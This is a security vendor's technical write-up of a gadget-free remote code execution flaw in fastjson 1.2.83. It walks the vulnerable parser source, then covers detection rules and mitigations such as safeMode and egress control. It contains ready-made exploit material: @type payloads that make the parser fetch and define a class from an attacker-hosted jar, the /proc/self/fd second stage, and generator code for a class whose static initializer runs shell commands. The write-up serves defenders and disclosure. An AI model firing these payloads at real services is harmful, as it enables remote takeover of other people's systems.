TL;DR

TL;DR — A researcher just showed that fastjson 1.2.83, the release the whole community upgraded to, still hands attackers remote code execution with autoType turned off and no gadget on your classpath. If you are still running fastjson 1.x on untrusted input, Miggo can find every exposed service in your fleet today, and block the exploit at runtime while you patch on your own timeline.

On July 2026, Kirill Firsov (@k_firsov, FearsOff) posted a short, pointed claim:

"We found a gadget-free RCE in Fastjson 1.2.83 — the final release of the 1.x line, and still one of the most widely-deployed Java JSON libraries in production today, even with 2.x around. No classpath gadget. One payload -> RCE."

That claim deserves attention for one reason above all: 1.2.83 is the version the community upgraded to. It is the terminal release of the fastjson 1.x line, and it is the release that fixed the previous headline autoType bug (CVE-2022-25845). "We're on 1.2.83" has been shorthand for "we're patched" for years. This finding turns that sentence into a target list.

Public proof-of-concept code followed (for example rockmelodies/Fastjson-JsonType-RCE-Demo), along with a reproducible Docker lab and scanner by Nicolas Krassas (@dinosn). This post walks the vulnerability from the real fastjson 1.2.83 source, explains why it defeats the two mitigations everyone relies on, and places it in the decade-long history of fastjson autoType hardening it quietly steps around.

One note up front, in the interest of accuracy. There is no public CVE/GHSA id for this finding at the time of writing, but it is not merely a researcher claim: FearsOff reported it to Alibaba, who have since published a critical advisory covering fastjson 1.2.68–1.2.83 with the same guidance given here (enable safeMode, or move to fastjson2). The affected range in this document — 1.2.68 through 1.2.83 — matches that advisory and the original disclosure. Do not conflate this with the older autoType/JNDI deserialization issues.

Three properties make it matter:

  • It fires with autoType disabled — the setting a decade of fastjson CVEs taught the industry to turn off.
  • It survives a type-bound JSON.parseObject(body, Dto.class) — "bind to a concrete class" is the advice teams reach for instead of patching. It provides no protection here.
  • It needs no gadget chain. No JdbcRowSetImpl, no TemplatesImpl, no fortunate classpath. The attacker supplies the class.

For an organization running a Spring Boot fat jar with a vulnerable fastjson on the classpath — a very common configuration in production Java — the only remaining barrier between an anonymous HTTP request and code execution is outbound network policy. The JDK version, once believed to cap this at SSRF on JDK 9+, does not stop it: the /proc/self/fd technique below carries the RCE through JDK 25.

A decade of autoType, in brief

To understand why this finding is significant, it helps to understand what it walks past. The fastjson security story has, until now, been almost entirely about one feature: autoType.

  • 2017 — the gadget era begins. fastjson's @type field lets a JSON document name a Java class to instantiate. Attackers pair it with classpath gadgets (JdbcRowSetImpl, TemplatesImpl, and friends) whose construction triggers dangerous behavior — JNDI lookups, arbitrary bytecode. RCE.
  • The deny-list years (from 1.2.25, 2017). Alibaba's response was checkAutoType: a deny-list of dangerous class prefixes, with autoTypeSupport off by default — both introduced in 1.2.25. What followed was a multi-year cat-and-mouse game — researchers found deny-list bypasses, Alibaba added entries, then switched to hashed class names to hide the list itself.
  • safeMode (1.2.68). fastjson shipped safeMode, a global kill-switch that refuses all @type handling regardless of deny-list or flag — the acknowledgment that a deny-list is a losing posture.
  • May–June 2022 — CVE-2022-25845. JFrog disclosed an autoType-bypass RCE (deserializing classes extending Throwable) affecting fastjson ≤ 1.2.80. The fix shipped in 1.2.83 (released May 23, 2022, ahead of JFrog's public write-up on June 14). The remediation advice was clear: upgrade to 1.2.83, or move to the new, hardened fastjson2. 1.2.83 became the recommended terminal release of the 1.x line.
  • July 2026 — this finding. FearsOff (Kirill Firsov) disclose a gadget-free RCE in that same 1.2.83, spanning 1.2.68–1.2.83, and defeat the JDK-9+ class-name hardening with a /proc/self/fd trick that carries it to JDK 25. Alibaba subsequently publish a critical advisory for the range. No public CVE id at time of writing.

The through-line matters. Every prior fix operated inside the autoType machinery — the deny-list, the hashes, the flag, safeMode. This bug lives below all of it, in a helper the parser runs before it ever consults those defenses. The decade of hardening is real; it simply guards a different door.

Everything that follows is from the real fastjson 1.2.83 source, cross-checked against the lab.

The short version

Here is the entire vulnerability in one breath, before we slow down and prove each step from source.

fastjson's ParserConfig.checkAutoType() inspects every @type string it encounters — in JSON.parse(body) and in JSON.parseObject(body, Dto.class). Within that inspection sits one consequential pair of lines (ParserConfig.java#L1482-L1484):

String resource = typeName.replace('.', '/') + ".class";
is = defaultClassLoader.getResourceAsStream(resource);

Given a @type of jar:http:..2130706433:18080.probe!.POC, every dot becomes a slash and the JVM fetches jar:http://127.0.0.1:18080/probe!/POC.class — a remote jar over HTTP. The JSON parser is now an SSRF client. If that remote class carries the @JSONType annotation, fastjson sets jsonType = true, calls TypeUtils.loadClass(...)classLoader.loadClass(...)defineClass(...), and the class's static initializer runs. That is the RCE — reached without autoType, and without ever consulting the DTO.

Two assumptions this breaks

If you have ever closed a fastjson ticket with one of the two sentences below, this section is why the ticket was not actually closed.

The prevailing fastjson threat model rests on two beliefs that this vulnerability invalidates:

  1. "We never call setAutoTypeSupport(true), so we are not exposed."
  2. "We do not use open JSON.parse() — we bind to a concrete class, parseObject(body, Dto.class), so an attacker cannot choose the type."

Both fail here, for the same structural reason: checkAutoType() performs meaningful work before it consults the autoType flag or the expected type — and that work includes an outbound network fetch and a class definition. The controls exist; they simply run too late.

The sink

This is the heart of it. You can read the block once top to bottom, then the five numbered annotations walk you through the exact moment control is lost.

Below is the tail of com.alibaba.fastjson.parser.ParserConfig.checkAutoType(String typeName, Class<?> expectClass, int features) in fastjson 1.2.83. The method begins at ParserConfig.java#L1311 and runs for every @type the parser sees. The deny/accept-hash loops above are trimmed; what remains is verbatim (the probe block, #L1479-L1552), and four lines carry the vulnerability:

// ParserConfig.java (fastjson 1.2.83), checkAutoType — the @JSONType probe
boolean jsonType = false;
InputStream is = null;
try {
    String resource = typeName.replace('.', '/') + ".class";          // (1) attacker-controlled
    if (defaultClassLoader != null) {
        is = defaultClassLoader.getResourceAsStream(resource);        // (2) SSRF
    } else {
        is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
    }
    if (is != null) {
        ClassReader classReader = new ClassReader(is, true);
        TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
        classReader.accept(visitor);
        jsonType = visitor.hasJsonType();                             // (3) reads @JSONType
    }
} catch (Exception e) {
    // skip
} finally {
    IOUtils.close(is);
}

if (autoTypeSupport || jsonType || expectClassFlag) {
    boolean cacheClass = autoTypeSupport || jsonType;
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);   // (4) defineClass
}

if (clazz != null) {
    if (jsonType) {
        if (autoTypeSupport) { TypeUtils.addMapping(typeName, clazz); }
        return clazz;                                                 // (5) short-circuit
    }

    if (ClassLoader.class.isAssignableFrom(clazz)         // classloader is danger
            || javax.sql.DataSource.class.isAssignableFrom(clazz)     // dataSource can load jdbc driver
            || javax.sql.RowSet.class.isAssignableFrom(clazz)) {
        throw new JSONException("autoType is not support. " + typeName);
    }

    if (expectClass != null) {
        if (expectClass.isAssignableFrom(clazz)) {
            if (autoTypeSupport) { TypeUtils.addMapping(typeName, clazz); }
            return clazz;
        } else {
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }
    }
    // ...
}

Read through the four numbered points:

(1) typeName.replace('.', '/') + ".class". typeName is the @type value — fully attacker-controlled. This line converts dots to slashes and appends .class, functioning as a small URL/path builder driven by attacker input.

(2) defaultClassLoader.getResourceAsStream(resource). Under a Spring Boot fat jar this issues an outbound network fetch — server-side request forgery inside the JSON parser, reachable with autoType disabled. (The precise reason is in the callout below; it is subtler than "the classloader treats the name as a URL.")

(3) The ASM @JSONType scan. fastjson does not load the class here; it streams the fetched bytes through its bundled ASM ClassReader and asks a TypeCollector whether the class is annotated @JSONType. If so, jsonType = true.

(4) TypeUtils.loadClass(typeName, …). This defines the class. The guard is autoTypeSupport || jsonType || expectClassFlag: jsonType alone satisfies it (with autoType off), and a supplied Dto.class (expectClassFlag) also satisfies it. Both entry paths converge here.

(5) if (jsonType) return clazz;. The annotated class is returned before the DataSource/RowSet/ClassLoader hard-block and before expectClass.isAssignableFrom. This is precisely why binding to a DTO is not a mitigation: by the time a type check could reject the class, it has already been loaded and its code has already executed. The check is not bypassed — it runs too late.

Where the code executes

Finding the class is one thing. The next method is where attacker bytes turn into a running process, and its most dangerous quality is how ordinary it looks.

TypeUtils.loadClass is unremarkable, which is the point (TypeUtils.java#L1735-L1793):

// TypeUtils.java (fastjson 1.2.83)
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
    // ... length guards, mappings cache, array / "L...;" handling ...
    try {
        if (classLoader != null) {
            clazz = classLoader.loadClass(className);      // <-- findClass -> fetch -> defineClass
            if (cache) { mappings.put(className, clazz); }
            return clazz;
        }
    } catch (Throwable e) {
        e.printStackTrace();
        // skip
    }
    // ... contextClassLoader, then Class.forName fallbacks ...
}

classLoader.loadClass("jar:http://attacker:8000/probe!/POC") directs the classloader to resolve that name. A classloader that understands jar:http:// fetches the jar, reads the POC.class entry, and calls defineClass — and defineClass runs the static initializer. No instance is constructed, no setter invoked, no gadget required. Defining the class is the trigger.

The full chain:

getResourceAsStream (fetch #1, for the ASM scan) → loadClass (fetch #2, defineClass) → <clinit> → command execution.

Two HTTP requests and a static initializer.

Under the hood: why getResourceAsStream fetches at all

A fair objection: URLClassLoader is supposed to search its own classpath entries, not treat a resource name as a URL to fetch. That is true for the common case — but not universally, and the exception is exactly what this bug rides on.

getResourceAsStream(name)getResource(name)findResource(name)sun.misc.URLClassPath.findResource, which picks a Loader per classpath entry via getLoader(URL). For file: entries you get a FileLoader (filesystem only) or a JarLoader (entry lookup in an open jar) — neither fetches anything. But a non-file: entry ending in / gets the generic base sun.misc.URLClassPath$Loader, whose findResource does:

url = new URL(base, ParseUtil.encodePath(name, false));   // absolute spec overrides base
URLConnection uc = url.openConnection();                   // outbound connection

Two things combine. First, a Spring Boot fat jar's classpath entries are jar:-protocol URLs (jar:file:/app.jar!/BOOT-INF/classes!/, jar:file:/app.jar!/BOOT-INF/lib/x.jar!/, …), all ending in /, so they all route to that base Loader. Second, new URL(base, spec) ignores base when spec is absolute — and jar:http://attacker/probe!/POC.class is absolute. The base is discarded, the attacker's URL is opened, and the fetch happens.

So LaunchedURLClassLoader has no special name-to-URL code — it inherits getResource from URLClassLoader unchanged. What makes it exploitable is the jar:-protocol classpath of a fat jar routing through the base Loader. A plain java -cp dir:app.jar process uses file: entries, never reaches the base Loader, and getResourceAsStream simply returns null.

Why @JSONType is sufficient

So the fetch happens. The next question is how much work the attacker's class has to do to get itself loaded. The answer is almost none.

The attacker's class needs very little. The annotation check is intentionally cheap: TypeCollector is an ASM visitor, and one callback governs the outcome (TypeCollector.java#L71-L75):

// TypeCollector.java (fastjson 1.2.83)
public class TypeCollector {
    private static String JSONType = ASMUtils.desc(com.alibaba.fastjson.annotation.JSONType.class);
    // ...
    public void visitAnnotation(String desc) {
        if (JSONType.equals(desc)) {
            jsonType = true;
        }
    }
    public boolean hasJsonType() {
        return jsonType;
    }
}

A class whose bytecode carries Lcom/alibaba/fastjson/annotation/JSONType; sets hasJsonType() to true. It need not be a real fastjson type, implement any interface, or declare any field. A bare class with the annotation and a malicious <clinit> is the entire payload.

Constructing the payload

With the mechanics understood, the payload almost writes itself. You work backward from the URL you want the parser to build.

The parser rebuilds a jar: URL from @type via a single replace('.', '/'). Work backward from the URL you want:

want:     jar:http://127.0.0.1:18080/probe!/POC.class     (getResourceAsStream target)
minus:    .class                                          (appended by fastjson)
so URL:   jar:http://127.0.0.1:18080/probe!/POC
un-slash: every '/' must have been a '.' in @type
@type  =  jar:http:..2130706433:18080.probe!.POC

Two consequences of "every dot becomes a slash":

  • http:// becomes http:.. — the double slash was a double dot.
  • The host cannot contain dots. 127.0.0.1 would fragment into 127/0/0/1, so it is encoded as a 32-bit integer: 2130706433 == 127.0.0.1. Any dotless host works — an integer IP or a single-label internal name.

The ! is preserved; it is the jar: separator between the archive (…/probe) and the entry inside it (POC.class). The request against a type-bound endpoint (exploit.sh#L9):

{"@type":"jar:http:..2130706433:18080.probe!.POC","x":1}

"x":1 merely resembles a valid Dto; it is irrelevant, because the RCE fires during the @type probe before any field binding occurs.

The original disclosure writes the URL directly — the integer IP has no dots to mangle, so no un-slashing is needed: {"@type":"jar:http://2130706433:31337/f!/Evil"}. The dotted form above is equivalent; it only exists to let replace('.', '/') rebuild the slashes. Note this single-request jar:http payload gives RCE on JDK 8 only — on JDK 9+ it becomes SSRF, and you switch to the two-request /proc/self/fd sequence (see The JDK boundary) to regain execution.

The malicious class

Two attacker-controlled properties, both required:

  1. It is annotated @JSONType — which flips jsonType = true at the ASM probe.
  2. Its internal name equals the crafted jar-URL string (jar:http://attacker:8000/probe!/POC), because defineClass verifies the requested name against the name encoded in the bytecode. Setting them equal allows the define to succeed.

That name is not a legal Java identifier, so the class is emitted with ASM. The lab's generator (attacker/Gen.java) is a compact implementation of the jar-URL-internal-name technique used across the public PoCs:

// Gen.java — craft the malicious @JSONType class
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC | Opcodes.ACC_SUPER,
        internalName,                 // e.g. "jar:http://attacker:8000/probe!/POC"
        null, "java/lang/Object", null);
cw.visitAnnotation("Lcom/alibaba/fastjson/annotation/JSONType;", true).visitEnd();  // (1)

// static initializer = payload — runs the instant the class is defined
MethodVisitor m = cw.visitMethod(Opcodes.ACC_STATIC, "<clinit>", "()V", null, null);
m.visitCode();
// Runtime.getRuntime().exec(new String[]{"/bin/sh","-c", cmd})

Package POC.class into a jar and serve it over plain HTTP. No manifest is needed — it is read as a jar: resource, not launched.

Proof: the ClassCastException tell

Here is the single request that turns everything above into root on a deliberately ordinary target, and the one error string that proves code ran before any type check could object.

The vulnerable target is deliberately ordinary. It binds the body to a fixed DTO, autoType untouched, under Spring Boot's LaunchedURLClassLoader — the classloader present in every Spring Boot fat jar (VulnApp.java#L51):

// VulnApp.java — the "safe-looking" sink
Dto d = JSON.parseObject(body, Dto.class);   // autoType OFF, type-bound

A single request produces:

[*] payload : {"@type":"jar:http:..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"}     <- RCE already fired, THEN the cast
[*] PROOF — command output captured inside the TARGET container (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------

The ClassCastException is the key diagnostic. Mapping it back to the source:

  1. checkAutoType fetches POC.class; ASM detects @JSONTypejsonType = true.
  2. TypeUtils.loadClass defines POC<clinit> runs → id executes → /tmp/PWNED written.
  3. if (jsonType) return clazz; returns POC.class, bypassing the isAssignableFrom block that would otherwise raise type not match.
  4. fastjson returns POC to the caller, which attempts to treat it as a Dto — and only now, well after code execution, does the ClassCastException surface.

The exception is on the cast, not the load. Execution has already occurred. That single error string is direct evidence that DTO binding was never a security boundary.

Preconditions

Condition Why it matters If absent
fastjson 1.2.68–1.2.83 The @JSONType ASM-probe path is present and unchanged (Alibaba's advisory range). Not this bug.
Classloader resolves jar:http:// resource names Spring Boot LaunchedURLClassLoader qualifies; a plain AppClassLoader does not. No fetch → no SSRF, no RCE.
JDK 8–25 JDK 8 loads the jar:http class directly; JDK 9+ rejects the :// name, but the /proc/self/fd two-stage restores RCE. RCE across supported JDKs — not JDK-gated.
HTTP egress to the attacker Required to fetch the remote JAR. Blocked → no fetch.
autoType on or off The probe runs before the flag is consulted. No protection either way.
JSON.parse() or parseObject(_, Dto.class) Untyped parsing triggers via jsonType; typed parsing via expectClassFlag. Type-binding is not a mitigation.
Condition:
fastjson 1.2.68–1.2.83
Why it matters:
The @JSONType ASM-probe path is present and unchanged (Alibaba's advisory range).
If absent:
Not this bug.
Condition:
Classloader resolves jar:http:// resource names
Why it matters:
Spring Boot LaunchedURLClassLoader qualifies; a plain AppClassLoader does not.
If absent:
No fetch → no SSRF, no RCE.
Condition:
JDK 8–25
Why it matters:
JDK 8 loads the jar:http class directly; JDK 9+ rejects the :// name, but the /proc/self/fd two-stage restores RCE.
If absent:
RCE across supported JDKs — not JDK-gated.
Condition:
HTTP egress to the attacker
Why it matters:
Required to fetch the remote JAR.
If absent:
Blocked → no fetch.
Condition:
autoType on or off
Why it matters:
The probe runs before the flag is consulted.
If absent:
No protection either way.
Condition:
JSON.parse() or parseObject(_, Dto.class)
Why it matters:
Untyped parsing triggers via jsonType; typed parsing via expectClassFlag.
If absent:
Type-binding is not a mitigation.

The one hard requirement beyond a vulnerable fastjson (1.2.68–1.2.83, per Alibaba's advisory) is a jar:http-resolving classloader — i.e. a Spring Boot fat jar. The JDK version is not a gating precondition, for the reason the next section explains.

The JDK boundary — and the /proc/self/fd bypass that defeats it

It is widely believed — and an earlier revision of this document repeated it — that JDK 9+ downgrades this to SSRF-only. That is true only for the naive payload. The original disclosure defeats it and carries RCE from JDK 8 all the way to JDK 25.

First, the naive limit, stated precisely because it is often mis-attributed. The malicious class's internal (this_class) name in the bytecode is the jar-URL string jar:http://…/probe!/POC, which contains ://. On JDK 8 the JVM's class-file parser accepts that name and defineClass succeeds. JDK 9 tightened the class-name legality check and rejects any name containing that :// double slash — ClassFormatError: Illegal class name "jar:http://…". So the plain jar:http class is SSRF-only on JDK 9+ (we verified this empirically: the lab's target rebuilt on JDK 17 fetches the jar but never executes). Note this is not governed by ClassLoader.checkName/preDefineClass (unchanged across versions, rejecting only / and a leading [); it is the bytecode name check.

Now the bypass. The :// is the only illegal part — a name with single slashes passes on every JDK. The original research reaches one via /proc/self/fd:

  1. When Java opens a jar:http://… URL, its jar handler downloads the whole remote jar to a temp file (/tmp/jar_cache<rand>.tmp), opens it, then unlinks it from disk while keeping the descriptor open. The file is gone from the directory listing but still fully readable through the open descriptor, which the kernel exposes at /proc/self/fd/N.
  2. So a first request performs the SSRF and leaves the attacker jar open at, say, /proc/self/fd/11. A second @type points back at it:
{"@type":"jar:file:.proc.self.fd.11!.E11"}
  1. fastjson's replace('.', '/') turns that into the resource jar:file:/proc/self/fd/11!/E11.class, reads the class straight from the open descriptor, and defineClasses it under the name jar:file:/proc/self/fd/11!/E11. That name has single slashes and no ://, so JDK 9+ accepts it. <clinit> runs. RCE.

The consequence is blunt: this is an RCE from JDK 8 through JDK 25, not an SSRF that stops at JDK 9. Upgrading the JDK does not fix it.

(An earlier revision of this document — and the dinosn lab it was built on — implement only the jar:http variant, and therefore characterise JDK 9+ as SSRF-only. That is a limitation of the simplified reproduction, not of the vulnerability.)

This is not autoType by another name

It is tempting to file this under "just another autoType bug" and move on. That would be a mistake, and the distinction decides who is exposed.

The distinction is worth stating precisely, because it changes the exposed population:

  • Classic autoType RCE requires autoTypeSupport = true (or a deny-list bypass string) and a gadget already present on the classpath whose construction is dangerous.
  • This @JSONType RCE requires neither. autoType remains off; there is no gadget on the classpath — the attacker supplies the class. The only machinery in play is the JVM's own class loading plus a Spring Boot classloader that resolves jar:http.

This is the substance of the gadget-free characterization. The deny-list, the accept-list, the autoType-off default — the entire decade of hardening summarized above — all sit above the @JSONType probe in checkAutoType and never gate it. A convenience feature became a class-loading, network-fetching sink for attacker-controlled strings.

Detection

If you own fastjson services, the practical question is whether this actually reaches you. There are two ways to find out, one static and one active, and both are safe.

Static — determine exposure. An artifact is exposed if it contains both: fastjson 1.2.68–83 and a Spring Boot fat-jar loader (spring-boot-loader / LaunchedURLClassLoader). The JDK version is not a filter — the /proc/self/fd variant executes on JDK 8 through 25 — so do not scope out modern-JDK deployments. Inventory jars/wars/ears and unpacked container images for that pair; it maps cleanly to a CI gate that fails the build on the untrusted-input path.

Active — safe reachability. Point an @type at a canary you control and observe the callback:

  • RCE-shaped probe — a jar:http://<int-ip>:<port>/x!/Y value. A hit on your listener confirms fastjson, @type handling, and egress. Serving nothing back keeps it at SSRF; no class is delivered, so nothing executes.
  • DNS probe — because the jar: sink converts dots to slashes, a dotted Collaborator host cannot traverse that path. The java.net.Inet4Address primitive accepts a dotted host and fires a resolvable DNS interaction (<token>.<collaborator>), confirming the parser and egress without an integer-IP HTTP listener.

Runtime / WAF / SIEM. Alert on @type values containing jar:, a ! separator, a .. sequence, or an integer-IP literal — all structurally required by the payload and rare in legitimate JSON. Important caveat: fastjson decodes \uXXXX escapes in both keys and values, so a literal keyword match is bypassable; normalize input before matching.

Mitigation, in priority order

And here is how to shut it down, ordered by what actually reduces risk rather than what closes a ticket fastest.

  1. -Dfastjson.parser.safeMode=true. The definitive fix. It throws at the top of checkAutoType, before any hashing, probe, or load (ParserConfig.java#L1329-L1331):
if (safeMode) {
    throw new JSONException("safeMode not support autoType : " + typeName);
}
  1. safeMode disables all @type handling globally. If an upgrade cannot ship immediately, enable this now.
  2. Remove fastjson 1.x from untrusted-input paths. Migrate to fastjson2 (a hardened autoType model) or an alternative parser. The @type design in 1.x remains a standing liability beyond this specific bug.
  3. Restrict outbound network from application runtimes. With no egress to attacker hosts, the jar cannot be fetched — eliminating both SSRF and RCE regardless of version. Defense in depth.
  4. Do not treat the JDK version as a control. JDK 9+ blocks the naive jar:http class name, but the /proc/self/fd two-stage restores RCE through JDK 25 — upgrading the JDK does not mitigate this bug. (Stay current for other reasons.)
  5. WAF rule on the markers above, as an interim control — with the understanding that it is \uXXXX-bypassable. Add /proc/self/fd and jar:file: to the watched patterns, not just jar:http.

The ordering is deliberate: safeMode and an upgrade are fixes; egress control is a severity reducer; a WAF rule is an interim control. The JDK version is not on this list — it does not stop the bug. A WAF rule alone closes a ticket, not the vulnerability.

As this vulnerability was released without even a CVE, Miggo already has a WAF rule mitigation to protect customers on AWS, Akamai, and Cloudflare WAFs, coupled with runtime detection ready to catch exploitation attempts of this vulnerability. 

Closing

Most fastjson advisories are dismissed after a single configuration check: autoType is off. This finding survives that check, survives the type-binding that teams adopt in its place, and survives a clean dependency tree, because it brings its own class rather than relying on yours. What remains between a vulnerable service and code execution is essentially the egress policy. The JDK version — long assumed to cap this at SSRF on anything past JDK 8 — does not, thanks to /proc/self/fd; a modern Spring Boot fat jar on JDK 21 is exploitable just the same.

The underlying lesson predates fastjson: any code path that turns attacker input into a resource name turns attacker input into a network fetch and a class load. typeName.replace('.', '/') reads as the most innocuous line in the file. It is a URL builder, and the input to it has been attacker-controlled all along.

For teams ready to shut this down now, safeMode and an upgrade are the fixes, and Miggo shows you precisely where to apply them first. For teams that want to stay covered while the patch works its way through, the runtime layer sees and blocks the exploit even on versions you have not fixed yet. You do not have to choose between getting patched and getting protected. Miggo does not just help you meet the fix, but exceed it.

Credits & references

Authorized use only. Every snippet here is from public fastjson 1.2.83 source; the payload's default action is a benign id. Test only systems you own or are explicitly permitted to test.

<script src="https://cdn.jsdelivr.net/npm/gsap@3.12.5/dist/gsap.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/gsap@3.12.5/dist/Flip.min.js"></script>

<script>
  document.addEventListener("DOMContentLoaded", (event) => {
    gsap.registerPlugin(Flip);
    const state = Flip.getState("");
    const element = document.querySelector("");
    element.classList.toggle("");
    Flip.from(state, {
      duration: 0,
      ease: "none",
      absolute: true,
    });
  });
</script>
<script src="https://cdn.jsdelivr.net/npm/gsap@3.12.5/dist/gsap.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/gsap@3.12.5/dist/Flip.min.js"></script>

<script>
  document.addEventListener("DOMContentLoaded", (event) => {
    gsap.registerPlugin(Flip);
    const state = Flip.getState("");
    const element = document.querySelector("");
    element.classList.toggle("");
    Flip.from(state, {
      duration: 0,
      ease: "none",
      absolute: true,
    });
  });
</script>